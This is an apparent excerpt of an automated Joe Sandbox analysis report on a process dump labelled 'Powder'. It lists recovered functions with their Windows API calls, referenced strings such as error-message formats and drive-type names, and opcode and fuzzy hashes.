API ID: LoadString__swprintf_wprintf$_memmove
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Incorrect parameters to object property !$Line %d (File "%s"):$^ ERROR
API String ID: 311963372-3080491070
Opcode ID: 54dfe7e10039ef5e47661a1767261e7bab1415964f6c8ed9c3e4367f105ccbd7
Instruction ID: 6e09bc46f330134c92a40cf0aa398f7c3050672f6149b4be18be37556bed37fd
Opcode Fuzzy Hash: 54dfe7e10039ef5e47661a1767261e7bab1415964f6c8ed9c3e4367f105ccbd7
Instruction Fuzzy Hash: 9451E371D40219AACF18EBE0DD46EEEB7B9AF04380F1011A5F505B20A2EB752F99CF51

Function 00E60065 Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 138windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,00000FFF,00000000,00000001,00000000,?,00E4F8B8,00000001,0000138C,00000001,00000000,00000001,?,00E73FF9,00000000), ref: 00E6009A
LoadStringW.USER32(00000000,?,00E4F8B8,00000001), ref: 00E600A3

Part of subcall function 00E11A36: _memmove.LIBCMT ref: 00E11A77

GetModuleHandleW.KERNEL32(00000000,00EC7310,?,00000FFF,?,?,00E4F8B8,00000001,0000138C,00000001,00000000,00000001,?,00E73FF9,00000000,00000001), ref: 00E600C5
LoadStringW.USER32(00000000,?,00E4F8B8,00000001), ref: 00E600C8
__swprintf.LIBCMT ref: 00E60118
__swprintf.LIBCMT ref: 00E60129
_wprintf.LIBCMT ref: 00E601D2
MessageBoxW.USER32(00000000,?,?,00011010), ref: 00E601E9

Strings

Line %d (File "%s"):, xrefs: 00E60112
Error: , xrefs: 00E601A0
Line %d:, xrefs: 00E60123
%s (%d) : ==> %s: %s %s, xrefs: 00E601CD
^ ERROR, xrefs: 00E6017E

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: HandleLoadModuleString__swprintf$Message_memmove_wprintf
String ID: Error: $%s (%d) : ==> %s: %s %s$Line %d (File "%s"):$Line %d:$^ ERROR
API String ID: 984253442-2268648507
Opcode ID: 5b94339d92a2697777c31ecef39f72693dd3e05b8245139b9dd3d3d279e1ec90
Instruction ID: f970880c5c07542b9aaf6a86548cbba8723f48e537e9994fb2f3c786fcc7bced
Opcode Fuzzy Hash: 5b94339d92a2697777c31ecef39f72693dd3e05b8245139b9dd3d3d279e1ec90
Instruction Fuzzy Hash: 9A417372840219AACF14EBE0DD96DEFB7BCAF54340F5011A5F605B2092DB356F89CBA1

Function 00E6A995 Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 138COMMON

Download Yara Rule

APIs

Part of subcall function 00E04D37: __itow.LIBCMT ref: 00E04D62
Part of subcall function 00E04D37: __swprintf.LIBCMT ref: 00E04DAC

CharLowerBuffW.USER32(?,?), ref: 00E6AA0E
GetDriveTypeW.KERNEL32 ref: 00E6AA5B
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00E6AAA3
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00E6AADA
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00E6AB08

Part of subcall function 00E11821: _memmove.LIBCMT ref: 00E1185B

Strings

wait, xrefs: 00E6AAC5
open, xrefs: 00E6AA35
close cd wait, xrefs: 00E6AAF3
set cd door , xrefs: 00E6AAA9
closed, xrefs: 00E6AA22, 00E6AA2B
type cdaudio alias cd wait, xrefs: 00E6AA86
close, xrefs: 00E6AA14
open , xrefs: 00E6AA6A

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: SendString$BuffCharDriveLowerType__itow__swprintf_memmove
String ID: type cdaudio alias cd wait$ wait$close$close cd wait$closed$open$open $set cd door
API String ID: 2698844021-4113822522
Opcode ID: f3e93d1f6b3a37fea573b8ae90cb904e8da0e32cd9b242f5472f8b84482cc20d
Instruction ID: 706ef470fc6fc9c697c127bab54e30b23d30ceee413fd313bfee24369b814a41
Opcode Fuzzy Hash: f3e93d1f6b3a37fea573b8ae90cb904e8da0e32cd9b242f5472f8b84482cc20d
Instruction Fuzzy Hash: EB517BB15043059FC300EF10D9818AAB3E9FF98358F14596DF895B72A1DB31AE49CF92

Function 00E6A832 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 102fileCOMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 00E6A852
__swprintf.LIBCMT ref: 00E6A874
CreateDirectoryW.KERNEL32(?,00000000), ref: 00E6A8B1
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000003,02200000,00000000), ref: 00E6A8D6
_memset.LIBCMT ref: 00E6A8F5
_wcsncpy.LIBCMT ref: 00E6A931
DeviceIoControl.KERNEL32(00000000,000900A4,?,?,00000000,00000000,?,00000000), ref: 00E6A966
CloseHandle.KERNEL32(00000000), ref: 00E6A971
RemoveDirectoryW.KERNEL32(?), ref: 00E6A97A
CloseHandle.KERNEL32(00000000), ref: 00E6A984

Strings

\, xrefs: 00E6A88A
:, xrefs: 00E6A895
\??\%s, xrefs: 00E6A86E

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: CloseCreateDirectoryHandle$ControlDeviceFileFullNamePathRemove__swprintf_memset_wcsncpy
String ID: :$\$\??\%s
API String ID: 2733774712-3457252023
Opcode ID: 8d63cba2bcbe6a98d8e47c7a51186381011ba1263344c556569d4248cca9f5d1
Instruction ID: a291f57852d0feaf555c5b9fa29aff7ced9420671e6f36f2754337df70500d8b
Opcode Fuzzy Hash: 8d63cba2bcbe6a98d8e47c7a51186381011ba1263344c556569d4248cca9f5d1
Instruction Fuzzy Hash: 4B319D7294021AAFDB219FA1EC49FEB77BCEF88740F5451B6F608F2160E67096448F25

Function 00E8C0A5 Relevance: 22.6, APIs: 15, Instructions: 130filecommemoryCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,80000000,00000000,00000000,00000003,00000000,00000000,00000000,?,?,?,?,?,00E8982C,?,?), ref: 00E8C0C8
GetFileSize.KERNEL32(00000000,00000000,?,?,?,?,00E8982C,?,?,00000000,?), ref: 00E8C0DF
GlobalAlloc.KERNEL32(00000002,00000000,?,?,?,?,00E8982C,?,?,00000000,?), ref: 00E8C0EA
CloseHandle.KERNEL32(00000000,?,?,?,?,00E8982C,?,?,00000000,?), ref: 00E8C0F7
GlobalLock.KERNEL32(00000000), ref: 00E8C100
ReadFile.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,?,?,?,00E8982C,?,?,00000000,?), ref: 00E8C10F
GlobalUnlock.KERNEL32(00000000), ref: 00E8C118
CloseHandle.KERNEL32(00000000,?,?,?,?,00E8982C,?,?,00000000,?), ref: 00E8C11F
CreateStreamOnHGlobal.OLE32(00000000,00000001,?,?,?,?,?,00E8982C,?,?,00000000,?), ref: 00E8C130
OleLoadPicture.OLEAUT32(?,00000000,00000000,00E93C7C,?), ref: 00E8C149
GlobalFree.KERNEL32(00000000), ref: 00E8C159
GetObjectW.GDI32(00000000,00000018,?), ref: 00E8C17D
CopyImage.USER32(00000000,00000000,?,?,00002000), ref: 00E8C1A8
DeleteObject.GDI32(00000000), ref: 00E8C1D0
SendMessageW.USER32(?,00000172,00000000,00000000), ref: 00E8C1E6

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: Global$File$CloseCreateHandleObject$AllocCopyDeleteFreeImageLoadLockMessagePictureReadSendSizeStreamUnlock
String ID:
API String ID: 3840717409-0
Opcode ID: c681ef30206ef8c3ff3bc23bec1ecdd4c40aba94683b5331decc855f8953c11e
Instruction ID: e2a1d20df118071cb80ac972fa1c8935ff5bca1bc283ba784991ef61c174106f
Opcode Fuzzy Hash: c681ef30206ef8c3ff3bc23bec1ecdd4c40aba94683b5331decc855f8953c11e
Instruction Fuzzy Hash: 74415B71601204EFCB219F66DC8CEAE7BB8EF8A715F50405AF909E7261C7309944CB60

Function 00E8C854 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 229windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00E029E2: GetWindowLongW.USER32(?,000000EB), ref: 00E029F3

PostMessageW.USER32(?,00000111,00000000,00000000), ref: 00E8C8A4
GetFocus.USER32 ref: 00E8C8B4
GetDlgCtrlID.USER32(00000000), ref: 00E8C8BF
_memset.LIBCMT ref: 00E8C9EA
GetMenuItemInfoW.USER32(?,00000000,00000000,?), ref: 00E8CA15
GetMenuItemCount.USER32(?), ref: 00E8CA35
GetMenuItemID.USER32(?,00000000), ref: 00E8CA48
GetMenuItemInfoW.USER32(?,-00000001,00000001,?), ref: 00E8CA7C
GetMenuItemInfoW.USER32(?,?,00000001,?), ref: 00E8CAC4
CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 00E8CAFC
DefDlgProcW.USER32(?,00000111,?,?,?,?,?,?,?), ref: 00E8CB31

Strings

0, xrefs: 00E8C9E2

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountCtrlFocusLongMessagePostProcRadioWindow_memset
String ID: 0
API String ID: 1296962147-4108050209
Opcode ID: b59d64abe2bc8d287707b754f2269b9ad6761785cb941e4ee3b642303870a50b
Instruction ID: f3842d4c1173b8061a622fd687a8d46c5f2df3ad2f1f20177690b2d1c27f2e5f
Opcode Fuzzy Hash: b59d64abe2bc8d287707b754f2269b9ad6761785cb941e4ee3b642303870a50b
Instruction Fuzzy Hash: C6817C712083059FD714EF14C985E6A7BE8EF89318F20596EF99DB3291C731D905CBA2

Function 00E58ACA Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00E58E20: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00E58E3C
Part of subcall function 00E58E20: GetLastError.KERNEL32(?,00E58900,?,?,?), ref: 00E58E46
Part of subcall function 00E58E20: GetProcessHeap.KERNEL32(00000008,?,?,00E58900,?,?,?), ref: 00E58E55
Part of subcall function 00E58E20: HeapAlloc.KERNEL32(00000000,?,00E58900,?,?,?), ref: 00E58E5C
Part of subcall function 00E58E20: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00E58E73

Part of subcall function 00E58EBD: GetProcessHeap.KERNEL32(00000008,00E58916,00000000,00000000,?,00E58916,?), ref: 00E58EC9
Part of subcall function 00E58EBD: HeapAlloc.KERNEL32(00000000,?,00E58916,?), ref: 00E58ED0
Part of subcall function 00E58EBD: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00E58916,?), ref: 00E58EE1

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00E58B2E
_memset.LIBCMT ref: 00E58B43
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00E58B62
GetLengthSid.ADVAPI32(?), ref: 00E58B73
GetAce.ADVAPI32(?,00000000,?), ref: 00E58BB0
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00E58BCC
GetLengthSid.ADVAPI32(?), ref: 00E58BE9
GetProcessHeap.KERNEL32(00000008,-00000008), ref: 00E58BF8
HeapAlloc.KERNEL32(00000000), ref: 00E58BFF
GetLengthSid.ADVAPI32(?,00000008,?), ref: 00E58C20
CopySid.ADVAPI32(00000000), ref: 00E58C27
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 00E58C58
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00E58C7E
SetUserObjectSecurity.USER32(?,00000004,?), ref: 00E58C92

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: HeapSecurity$AllocDescriptorLengthObjectProcessUser$Dacl$CopyErrorInformationInitializeLast_memset
String ID:
API String ID: 3996160137-0
Opcode ID: e654b56bacf7c2e4a8f201c8e6d0620e54d6bf45bfddd749337b8daf5745a715
Instruction ID: 1ed3f2b6589cc053b36044124f46274484a1801c96ec15d40e90ccd7f6a89d56
Opcode Fuzzy Hash: e654b56bacf7c2e4a8f201c8e6d0620e54d6bf45bfddd749337b8daf5745a715
Instruction Fuzzy Hash: 6F617875900209AFCF10DFA1DD45EEEBBB9FF05305F04896AF915B6290DB35AA08CB60

Function 00E77A04 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 160windowCOMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 00E77A79
CreateCompatibleBitmap.GDI32(00000000,00000007,?), ref: 00E77A85
CreateCompatibleDC.GDI32(?), ref: 00E77A91
SelectObject.GDI32(00000000,?), ref: 00E77A9E
StretchBlt.GDI32(00000006,00000000,00000000,00000007,?,?,?,?,00000007,?,00CC0020), ref: 00E77AF2
GetDIBits.GDI32(00000006,?,00000000,00000000,00000000,00000028,00000000), ref: 00E77B2E
GetDIBits.GDI32(00000006,?,00000000,?,00000000,00000028,00000000), ref: 00E77B52
SelectObject.GDI32(00000006,?), ref: 00E77B5A
DeleteObject.GDI32(?), ref: 00E77B63
DeleteDC.GDI32(00000006), ref: 00E77B6A
ReleaseDC.USER32(00000000,?), ref: 00E77B75

Strings

(, xrefs: 00E77AFA

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: Object$BitsCompatibleCreateDeleteSelect$BitmapReleaseStretch
String ID: (
API String ID: 2598888154-3887548279
Opcode ID: 23d01cd0f5a37bb37de3cba793f9326ad676e58b8f79268b23662a62b0a86c5f
Instruction ID: 564f3b192405bac37958338817abc472622aead509362a51f0581d4a0d1e8d72
Opcode Fuzzy Hash: 23d01cd0f5a37bb37de3cba793f9326ad676e58b8f79268b23662a62b0a86c5f
Instruction Fuzzy Hash: BC514C71904309EFDB14CFA9DC85EAEBBB9EF48310F14841EF989A7250D731A945CB60

Function 00E6A48D Relevance: 21.2, APIs: 7, Strings: 5, Instructions: 156COMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000066,?,00000FFF,?), ref: 00E6A4D4

Part of subcall function 00E11A36: _memmove.LIBCMT ref: 00E11A77

LoadStringW.USER32(?,?,00000FFF,?), ref: 00E6A4F6
__swprintf.LIBCMT ref: 00E6A54F
__swprintf.LIBCMT ref: 00E6A568
_wprintf.LIBCMT ref: 00E6A61E
_wprintf.LIBCMT ref: 00E6A63C

Strings

Line %d (File "%s"):, xrefs: 00E6A549, 00E6A562
Error: , xrefs: 00E6A5E6
"%s" (%d) : ==> %s:%s%s, xrefs: 00E6A619
"%s" (%d) : ==> %s:, xrefs: 00E6A637
^ ERROR, xrefs: 00E6A5C0

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: LoadString__swprintf_wprintf$_memmove
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR
API String ID: 311963372-2391861430
Opcode ID: f25a52d4255eba4a80b361a758f868eb97f7cb3793166436a25e4f8179469717
Instruction ID: fd24417bc66a483bd1eeb273f52d193907c1a51e49099ee72df881d9d7518974
Opcode Fuzzy Hash: f25a52d4255eba4a80b361a758f868eb97f7cb3793166436a25e4f8179469717
Instruction Fuzzy Hash: 80519371C40219AACF19EBE0DD46EEEB7B9AF04380F1411A5F605720A2EB316F98DF51

Function 00E69710 Relevance: 19.8, APIs: 13, Instructions: 322fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00E6951A: __time64.LIBCMT ref: 00E69524

Part of subcall function 00E14A8C: _fseek.LIBCMT ref: 00E14AA4

__wsplitpath.LIBCMT ref: 00E697EF

Part of subcall function 00E2431E: __wsplitpath_helper.LIBCMT ref: 00E2435E

_wcscpy.LIBCMT ref: 00E69802
_wcscat.LIBCMT ref: 00E69815
__wsplitpath.LIBCMT ref: 00E6983A
_wcscat.LIBCMT ref: 00E69850
_wcscat.LIBCMT ref: 00E69863

Part of subcall function 00E69560: _memmove.LIBCMT ref: 00E69599
Part of subcall function 00E69560: _memmove.LIBCMT ref: 00E695A8

_wcscmp.LIBCMT ref: 00E697AA

Part of subcall function 00E69CF1: _wcscmp.LIBCMT ref: 00E69DE1
Part of subcall function 00E69CF1: _wcscmp.LIBCMT ref: 00E69DF4

DeleteFileW.KERNEL32(?,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?), ref: 00E69A0D
_wcsncpy.LIBCMT ref: 00E69A80
DeleteFileW.KERNEL32(?,?), ref: 00E69AB6
CopyFileW.KERNEL32(?,?,00000000,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001), ref: 00E69ACC
DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00E69ADD
DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00E69AEF

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: File$Delete$_wcscat_wcscmp$__wsplitpath_memmove$Copy__time64__wsplitpath_helper_fseek_wcscpy_wcsncpy
String ID:
API String ID: 1500180987-0
Opcode ID: f8513c35002495ef0f817fdfabf069929e69123cf00273616618dc2efeb82805
Instruction ID: 25582aef20ec57c4529db9bed981eb49983e1c5579faa8cd68370618e67a0696
Opcode Fuzzy Hash: f8513c35002495ef0f817fdfabf069929e69123cf00273616618dc2efeb82805
Instruction Fuzzy Hash: 66C14DB1940228AADF11DF95DC85ADEB7FDEF44350F0050AAF609F7252EB309A848F65

Function 00E15BD7 Relevance: 19.7, APIs: 13, Instructions: 215windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00E15BF1
GetMenuItemCount.USER32(00EC7890), ref: 00E50E7B
GetMenuItemCount.USER32(00EC7890), ref: 00E50F2B
GetCursorPos.USER32(?), ref: 00E50F6F
SetForegroundWindow.USER32(00000000), ref: 00E50F78
TrackPopupMenuEx.USER32(00EC7890,00000000,?,00000000,00000000,00000000), ref: 00E50F8B
PostMessageW.USER32(00000000,00000000,00000000,00000000), ref: 00E50F97

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: Menu$CountItem$CursorForegroundMessagePopupPostTrackWindow_memset
String ID:
API String ID: 2751501086-0
Opcode ID: 08352a29028b9ad6918a518541c47a3c025c854fa9ffa6e1ca7d6966e7afaefa
Instruction ID: dc7d035e4a2021abd6c22cd68e1a9239b172db619b39f774d8403d2fd72f6fae
Opcode Fuzzy Hash: 08352a29028b9ad6918a518541c47a3c025c854fa9ffa6e1ca7d6966e7afaefa
Instruction Fuzzy Hash: 6671EF31644705BFEB209F55DC86FEABFA4FB84368F201616FA24761D0CBB16854DB90

Function 00E6AEEA Relevance: 19.4, APIs: 3, Strings: 8, Instructions: 183COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?,00E90980), ref: 00E6AF4E
GetDriveTypeW.KERNEL32(00000061,00EBB5F0,00000061), ref: 00E6B018
_wcscpy.LIBCMT ref: 00E6B042

Strings

network, xrefs: 00E6AFAC
ramdisk, xrefs: 00E6AFC2
fixed, xrefs: 00E6AF96
unknown, xrefs: 00E6AFD9
L,, xrefs: 00E6B03A
removable, xrefs: 00E6AF80
cdrom, xrefs: 00E6AF6A
all, xrefs: 00E6AF54

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: BuffCharDriveLowerType_wcscpy
String ID: L,$all$cdrom$fixed$network$ramdisk$removable$unknown
API String ID: 2820617543-2946476599
Opcode ID: ed3fa200f39b948c31527794b05c6d0b5018db910e5be3cd96efb5aa1fa6e791
Instruction ID: 0dcde2844883a5ecb1aacc6b5372789bff897d1241cceec10c3b8122bf2caee3
Opcode Fuzzy Hash: ed3fa200f39b948c31527794b05c6d0b5018db910e5be3cd96efb5aa1fa6e791
Instruction Fuzzy Hash: A751D0706483019FC310EF14E892AABB7E5EF80384F14682DF591B72E2DB709D49CA53

Function 00E583FA Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 128registryshareCOMMON

Download Yara Rule

APIs

Part of subcall function 00E11821: _memmove.LIBCMT ref: 00E1185B

_memset.LIBCMT ref: 00E58489
WNetAddConnection2W.MPR(?,?,?,00000000), ref: 00E584BE
RegConnectRegistryW.ADVAPI32(?,80000002,?), ref: 00E584DA
RegOpenKeyExW.ADVAPI32(?,?,00000000,00020019,?,?,SOFTWARE\Classes\), ref: 00E584F6
RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,?,?,SOFTWARE\Classes\), ref: 00E58520
CLSIDFromString.OLE32(?,?,?,SOFTWARE\Classes\), ref: 00E58548
RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 00E58553
RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 00E58558

Strings

\CLSID, xrefs: 00E58440
\IPC$, xrefs: 00E584A0
SOFTWARE\Classes\, xrefs: 00E5842A

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: Close$ConnectConnection2FromOpenQueryRegistryStringValue_memmove_memset
String ID: SOFTWARE\Classes\$\CLSID$\IPC$
API String ID: 1411258926-22481851
Opcode ID: 2dc8af3b5af6588edd41c7b05acbbb4ebf4785193edb558b691090a2c992f06c
Instruction ID: e0831c7a2d31b132eb833bae9c17f37e189dada4df2e9bf1fd5e67405e015b84
Opcode Fuzzy Hash: 2dc8af3b5af6588edd41c7b05acbbb4ebf4785193edb558b691090a2c992f06c
